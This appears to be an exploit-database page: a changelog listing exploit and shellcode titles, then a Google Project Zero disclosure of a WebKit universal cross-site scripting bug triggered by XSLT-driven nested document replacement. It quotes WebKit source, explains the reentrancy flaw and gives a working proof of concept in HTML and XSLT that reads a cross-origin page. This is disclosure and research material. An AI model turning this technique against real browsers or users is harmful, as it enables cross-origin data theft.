a32e028b88
17 changes to exploits/shellcodes VxWorks 6.8 - TCP Urgent Pointer = 0 Integer Underflow Linux - Use-After-Free Reads in show_numa_stats() WebKit - UXSS via XSLT and Nested Document Replacements Ghidra (Linux) 9.0.4 - .gar Arbitrary Code Execution ManageEngine OpManager 12.4x - Privilege Escalation / Remote Command Execution (Metasploit) ManageEngine Application Manager 14.2 - Privilege Escalation / Remote Command Execution (Metasploit) ManageEngine OpManager 12.4x - Unauthenticated Remote Command Execution (Metasploit) Webmin 1.920 - Unauthenticated Remote Code Execution (Metasploit) BSI Advance Hotel Booking System 2.0 - 'booking_details.php Persistent Cross-Site Scripting Cisco Adaptive Security Appliance - Path Traversal (Metasploit) UNA 10.0.0 RC1 - 'polyglot.php' Persistent Cross-Site Scripting Joomla! Component JS Support Ticket (com_jssupportticket) 1.1.6 - 'ticketreply.php' SQL Injection Joomla! Component JS Support Ticket (com_jssupportticket) 1.1.6 - 'ticket.php' Arbitrary File Deletion osTicket 1.12 - Persistent Cross-Site Scripting via File Upload osTicket 1.12 - Formula Injection osTicket 1.12 - Persistent Cross-Site Scripting Joomla! Component JS Jobs (com_jsjobs) 1.2.5 - 'cities.php' SQL Injection Linux/x64 - Bind (4444/TCP) Shell (/bin/sh) + Password (hack) + Null-Free Shellcode (162 bytes) Linux/x64 - Reverse (127.0.0.1:4444/TCP) Shell (/bin/sh) + Password (hack) + Null-Free Shellcode (151 bytes) Linux/x64 - Egghunter (0x50905090) Shellcode (18 bytes) Linux/x64 - Reverse (127.0.0.1:4444/TCP) Shell (/bin/sh) + Password (hack) + Null-Free Shellcode (151 bytes) Linux/x64 - Egghunter (0x50905090) Shellcode (18 bytes) Linux/x64 - execve() + XOR/NOT/DIV Encoded Shellcode (54 bytes) Linux/x64 - Reverse (127.0.0.1:4444/TCP) Shell (/bin/sh) + Password (hack) + Polymorphic Shellcode (122 bytes) Linux/x64 - Reverse (127.0.0.1:4444/TCP) Shell + Password (hack) + Polymorphic Shellcode (135 bytes) Linux/x64 - Reverse (127.0.0.1:4444/TCP) Shell (/bin/sh) + Password (hack) + Polymorphic Shellcode (122 bytes) Linux/x64 - Reverse (127.0.0.1:4444/TCP) Shell + Password (hack) + Polymorphic Shellcode (135 bytes) Linux/x64 - execve() Stack + Polymorphic Shellcode (47 bytes)
138 lines
No EOL
4.7 KiB
Text
138 lines
No EOL
4.7 KiB
Text
VULNERABILITY DETAILS
|
|
https://trac.webkit.org/browser/webkit/trunk/Source/WebCore/xml/XSLTProcessor.cpp#L66
|
|
```
|
|
Ref<Document> XSLTProcessor::createDocumentFromSource(const String& sourceString,
|
|
const String& sourceEncoding, const String& sourceMIMEType, Node* sourceNode, Frame* frame)
|
|
{
|
|
Ref<Document> ownerDocument(sourceNode->document());
|
|
bool sourceIsDocument = (sourceNode == &ownerDocument.get());
|
|
String documentSource = sourceString;
|
|
|
|
RefPtr<Document> result;
|
|
if (sourceMIMEType == "text/plain") {
|
|
result = XMLDocument::createXHTML(frame, sourceIsDocument ? ownerDocument->url() : URL());
|
|
transformTextStringToXHTMLDocumentString(documentSource);
|
|
} else
|
|
result = DOMImplementation::createDocument(sourceMIMEType, frame, sourceIsDocument ? ownerDocument->url() : URL());
|
|
|
|
// Before parsing, we need to save & detach the old document and get the new document
|
|
// in place. We have to do this only if we're rendering the result document.
|
|
if (frame) {
|
|
[...]
|
|
frame->setDocument(result.copyRef());
|
|
}
|
|
|
|
auto decoder = TextResourceDecoder::create(sourceMIMEType);
|
|
decoder->setEncoding(sourceEncoding.isEmpty() ? UTF8Encoding() : TextEncoding(sourceEncoding), TextResourceDecoder::EncodingFromXMLHeader);
|
|
result->setDecoder(WTFMove(decoder));
|
|
|
|
result->setContent(documentSource);
|
|
```
|
|
|
|
https://trac.webkit.org/browser/webkit/trunk/Source/WebCore/page/Frame.cpp#L248
|
|
```
|
|
void Frame::setDocument(RefPtr<Document>&& newDocument)
|
|
{
|
|
ASSERT(!newDocument || newDocument->frame() == this);
|
|
|
|
if (m_documentIsBeingReplaced) // ***1***
|
|
return;
|
|
|
|
m_documentIsBeingReplaced = true;
|
|
|
|
[...]
|
|
|
|
if (m_doc && m_doc->pageCacheState() != Document::InPageCache)
|
|
m_doc->prepareForDestruction(); // ***2***
|
|
|
|
m_doc = newDocument.copyRef();
|
|
```
|
|
|
|
`setDocument` calls `Document::prepareForDestruction`, which might trigger JavaScript execution via
|
|
a nested frame's "unload" event handler. Therefore the `m_documentIsBeingReplaced` flag has been
|
|
introduced to avoid reentrant calls. The problem is that by the time `setDocument` is called,
|
|
`newDocument` might already have a reference to a `Frame` object, and if the method returns early,
|
|
that reference will never get cleared by subsequent navigations. It's not possible to trigger
|
|
document replacement inside `setDocument` via a regular navigation request or a 'javascript:' URI
|
|
load; however, an attacker can use an XSLT transformation for that.
|
|
|
|
When the attacker has an extra document attached to a frame, they can navigate the frame to a
|
|
cross-origin page and issue a form submission request to a 'javascript:' URI using the extra
|
|
document to trigger UXSS.
|
|
|
|
VERSION
|
|
WebKit revision 245321.
|
|
It should affect the stable branch as well, but the test case crashes Safari 12.1.1 (14607.2.6.1.1).
|
|
|
|
REPRODUCION CASE
|
|
repro.html:
|
|
```
|
|
<body>
|
|
<script>
|
|
createFrame = doc => doc.body.appendChild(document.createElement('iframe'));
|
|
|
|
pi = document.createProcessingInstruction('xml-stylesheet',
|
|
'type="text/xml" href="stylesheet.xml"');
|
|
cache_frame = createFrame(document);
|
|
cache_frame.contentDocument.appendChild(pi);
|
|
|
|
setTimeout(() => {
|
|
victim_frame = createFrame(document);
|
|
child_frame_1 = createFrame(victim_frame.contentDocument);
|
|
child_frame_1.contentWindow.onunload = () => {
|
|
victim_frame.src = 'javascript:""';
|
|
try {
|
|
victim_frame.contentDocument.appendChild(document.createElement('html')).
|
|
appendChild(document.createElement('body'));
|
|
} catch { }
|
|
|
|
child_frame_2 = createFrame(victim_frame.contentDocument);
|
|
child_frame_2.contentWindow.onunload = () => {
|
|
doc = victim_frame.contentDocument;
|
|
doc.write('foo');
|
|
doc.firstChild.remove();
|
|
|
|
doc.appendChild(pi);
|
|
doc.appendChild(doc.createElement('root'));
|
|
|
|
doc.close();
|
|
}
|
|
}
|
|
|
|
victim_frame.src = 'javascript:""';
|
|
|
|
if (child_frame_1.xslt_script_run) {
|
|
victim_frame.src = 'http://example.com/';
|
|
victim_frame.onload = () => {
|
|
form = corrupted_doc.createElement('form');
|
|
form.action = 'javascript:alert(document.body.innerHTML)';
|
|
form.submit();
|
|
}
|
|
}
|
|
}, 2000);
|
|
</script>
|
|
</body>
|
|
|
|
```
|
|
|
|
stylesheet.xml:
|
|
```
|
|
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
|
|
<xsl:template match="/">
|
|
<html>
|
|
<body>
|
|
<script>
|
|
<![CDATA[
|
|
document.body.lastChild.xslt_script_run = true;
|
|
]]>
|
|
</script>
|
|
<iframe src="javascript:top.corrupted_doc = frameElement.ownerDocument; frameElement.remove();"></iframe>
|
|
</body>
|
|
</html>
|
|
</xsl:template>
|
|
</xsl:stylesheet>
|
|
|
|
```
|
|
|
|
CREDIT INFORMATION
|
|
Sergei Glazunov of Google Project Zero |